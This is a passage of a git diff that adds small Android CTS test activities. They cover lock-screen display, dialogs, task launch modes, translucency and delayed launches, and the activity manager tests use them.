new file mode 100644
index 0000000..414d021
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrRemoveAttrActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.os.Bundle;
+
+public class ShowWhenLockedAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = ShowWhenLockedAttrRemoveAttrActivity.class.getSimpleName();
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ setShowWhenLocked(false);
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrWithDialogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrWithDialogActivity.java
new file mode 100644
index 0000000..4f9b214
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedAttrWithDialogActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedAttrWithDialogActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ new AlertDialog.Builder(this)
+ .setTitle("Dialog")
+ .show();
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedDialogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedDialogActivity.java
new file mode 100644
index 0000000..56eb154
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedDialogActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedDialogActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedTranslucentActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedTranslucentActivity.java
new file mode 100644
index 0000000..6422104
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedTranslucentActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedTranslucentActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+ setContentView(R.layout.translucent);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedWithDialogActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedWithDialogActivity.java
new file mode 100644
index 0000000..3951532
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/ShowWhenLockedWithDialogActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public class ShowWhenLockedWithDialogActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED);
+ new AlertDialog.Builder(this)
+ .setTitle("Dialog")
+ .show();
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SingleInstanceActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SingleInstanceActivity.java
new file mode 100644
index 0000000..2c8b40f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SingleInstanceActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class SingleInstanceActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SingleTaskActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SingleTaskActivity.java
new file mode 100644
index 0000000..d95aa3f
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SingleTaskActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class SingleTaskActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SlowCreateActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SlowCreateActivity.java
new file mode 100644
index 0000000..26992c1
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SlowCreateActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class SlowCreateActivity extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ try {
+ Thread.sleep(2000);
+ } catch(InterruptedException e) {}
+ super.onCreate(savedInstanceState);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SplashscreenActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SplashscreenActivity.java
new file mode 100644
index 0000000..2d8fbae
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SplashscreenActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.SystemClock;
+
+/**
+ * Activity that shows a custom splashscreen when being launched.
+ */
+public class SplashscreenActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ // Make sure splash screen is visible. The test won't take 5 seconds because the condition
+ // such that we can dump the state will trigger much earlier and then the test will just
+ // kill us.
+ SystemClock.sleep(5000);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshActivity.java
new file mode 100644
index 0000000..8e2b781
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.server.am.SwipeRefreshLayout;
+
+
+/**
+ * An activity containing a SwipeRefreshLayout which prevents activity idle.
+ */
+public class SwipeRefreshActivity extends AbstractLifecycleLogActivity {
+ private static final String TAG = SwipeRefreshActivity.class.getSimpleName();
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(new SwipeRefreshLayout(this));
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshLayout.java b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshLayout.java
new file mode 100644
index 0000000..2b3071c
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/SwipeRefreshLayout.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.content.Context;
+import android.util.AttributeSet;
+
+/**
+ * An extension of {@link android.support.v4.widget.SwipeRefreshLayout} that calls
+ * {@link #setRefreshing} during construction, preventing activity idle.
+ */
+public class SwipeRefreshLayout extends android.support.v4.widget.SwipeRefreshLayout {
+ public SwipeRefreshLayout(Context context) {
+ super(context);
+ initialize();
+ }
+
+ public SwipeRefreshLayout(Context context, AttributeSet attrs) {
+ super(context, attrs);
+ initialize();
+ }
+
+ private void initialize() {
+ setRefreshing(true);
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivity.java
new file mode 100644
index 0000000..a71ab34
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivity.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = TestActivity.class.getSimpleName();
+
+ // Sets the fixed orientation (can be one of {@link ActivityInfo.ScreenOrientation}
+ private static final String EXTRA_FIXED_ORIENTATION = "fixed_orientation";
+
+ // Finishes the activity
+ private static final String ACTION_FINISH_SELF = "android.server.am.TestActivity.finish_self";
+
+ private BroadcastReceiver mReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (intent != null && intent.getAction().equals(ACTION_FINISH_SELF)) {
+ finish();
+ }
+ }
+ };
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+
+ // Set the fixed orientation if requested
+ if (getIntent().hasExtra(EXTRA_FIXED_ORIENTATION)) {
+ final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
+ setRequestedOrientation(ori);
+ }
+ }
+
+ @Override
+ protected void onStart() {
+ super.onStart();
+ registerReceiver(mReceiver, new IntentFilter(ACTION_FINISH_SELF));
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ final Configuration config = getResources().getConfiguration();
+ dumpDisplaySize(config);
+ dumpConfiguration(config);
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ unregisterReceiver(mReceiver);
+ }
+
+ @Override
+ public void onConfigurationChanged(Configuration newConfig) {
+ super.onConfigurationChanged(newConfig);
+ dumpDisplaySize(newConfig);
+ dumpConfiguration(newConfig);
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TestActivityWithSameAffinity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivityWithSameAffinity.java
new file mode 100644
index 0000000..d89d786
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TestActivityWithSameAffinity.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.PictureInPictureParams;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.res.Configuration;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestActivityWithSameAffinity extends TestActivity {
+
+ private static final String TAG = TestActivityWithSameAffinity.class.getSimpleName();
+
+ // Calls enterPictureInPicture() on creation
+ private static final String EXTRA_ENTER_PIP = "enter_pip";
+ // Starts the activity (component name) provided by the value at the end of onCreate
+ private static final String EXTRA_START_ACTIVITY = "start_activity";
+ // Finishes the activity at the end of onResume (after EXTRA_START_ACTIVITY is handled)
+ private static final String EXTRA_FINISH_SELF_ON_RESUME = "finish_self_on_resume";
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+
+ // Enter picture in picture if requested
+ if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
+ enterPictureInPictureMode(new PictureInPictureParams.Builder().build());
+ }
+
+ // Launch a new activity if requested
+ String launchActivityComponent = getIntent().getStringExtra(EXTRA_START_ACTIVITY);
+ if (launchActivityComponent != null) {
+ Intent launchIntent = new Intent();
+ launchIntent.setComponent(ComponentName.unflattenFromString(launchActivityComponent));
+ startActivity(launchIntent);
+ }
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+
+ // Finish self if requested
+ if (getIntent().hasExtra(EXTRA_FINISH_SELF_ON_RESUME)) {
+ finish();
+ }
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TopActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TopActivity.java
new file mode 100644
index 0000000..7d69ef9
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TopActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.os.Handler;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TopActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = TopActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
+ if (useWallpaper) {
+ setTheme(R.style.WallpaperTheme);
+ }
+
+ final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
+ if (finishDelay > 0) {
+ Handler handler = new Handler();
+ handler.postDelayed(new Runnable() {
+ @Override
+ public void run() {
+ Log.d(TAG, "Calling finish()");
+ finish();
+ }
+ }, finishDelay);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TopLeftLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TopLeftLayoutActivity.java
new file mode 100644
index 0000000..1302b22
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TopLeftLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class TopLeftLayoutActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TopRightLayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TopRightLayoutActivity.java
new file mode 100644
index 0000000..bb13c01
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TopRightLayoutActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class TopRightLayoutActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TrampolineActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TrampolineActivity.java
new file mode 100644
index 0000000..7391b04
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TrampolineActivity.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.os.Bundle;
+
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.content.Intent;
+
+public class TrampolineActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = TrampolineActivity.class.getSimpleName();
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ // Add a delay here to expose more easily a failure case where the real target
+ // activity is visible before it's launched, because its task is being brought
+ // to foreground. We need to verify that 'am start' is unblocked correctly.
+ try {
+ Thread.sleep(2000);
+ } catch(InterruptedException e) {}
+ Intent intent = new Intent(this, SingleTaskActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_CLEAR_TOP | FLAG_ACTIVITY_NEW_TASK);
+
+ startActivity(intent);
+ finish();
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentActivity.java
new file mode 100644
index 0000000..a83ceaf
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import android.app.Activity;
+
+public class TranslucentActivity extends Activity {
+
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentAssistantActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentAssistantActivity.java
new file mode 100644
index 0000000..2ad5e17
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentAssistantActivity.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import android.app.Activity;
+import android.app.ActivityOptions;
+import android.content.Intent;
+import android.os.Bundle;
+
+public class TranslucentAssistantActivity extends AssistantActivity {
+
+ /**
+ * Launches a new instance of the TranslucentAssistantActivity directly into the assistant
+ * stack.
+ */
+ static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
+ final Intent intent = new Intent(caller, TranslucentAssistantActivity.class);
+ intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
+ if (extras != null) {
+ intent.putExtras(extras);
+ }
+
+ final ActivityOptions options = ActivityOptions.makeBasic();
+ options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
+ caller.startActivity(intent, options.toBundle());
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTestActivity.java
new file mode 100644
index 0000000..ba60f67
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTestActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.os.Bundle;
+
+public class TranslucentTestActivity extends TestActivity {
+
+ private static final String TAG = TranslucentTestActivity.class.getSimpleName();
+
+ @Override
+ protected void onCreate(Bundle icicle) {
+ super.onCreate(icicle);
+
+ setContentView(R.layout.task_overlay);
+ }
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTopActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTopActivity.java
new file mode 100644
index 0000000..5d639db
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTopActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import android.os.Handler;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TranslucentTopActivity extends AbstractLifecycleLogActivity {
+
+ private static final String TAG = TranslucentTopActivity.class.getSimpleName();
+
+ @Override
+ protected String getTag() {
+ return TAG;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
+ if (useWallpaper) {
+ setTheme(R.style.TranslucentWallpaperTheme);
+ }
+
+ final int finishDelay = getIntent().getIntExtra("FINISH_DELAY", 0);
+ if (finishDelay > 0) {
+ Handler handler = new Handler();
+ handler.postDelayed(new Runnable() {
+ @Override
+ public void run() {
+ Log.d(TAG, "Calling finish()");
+ finish();
+ }
+ }, finishDelay);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnActivity.java
new file mode 100644
index 0000000..4334503
--- /dev/null
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnActivity.java
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
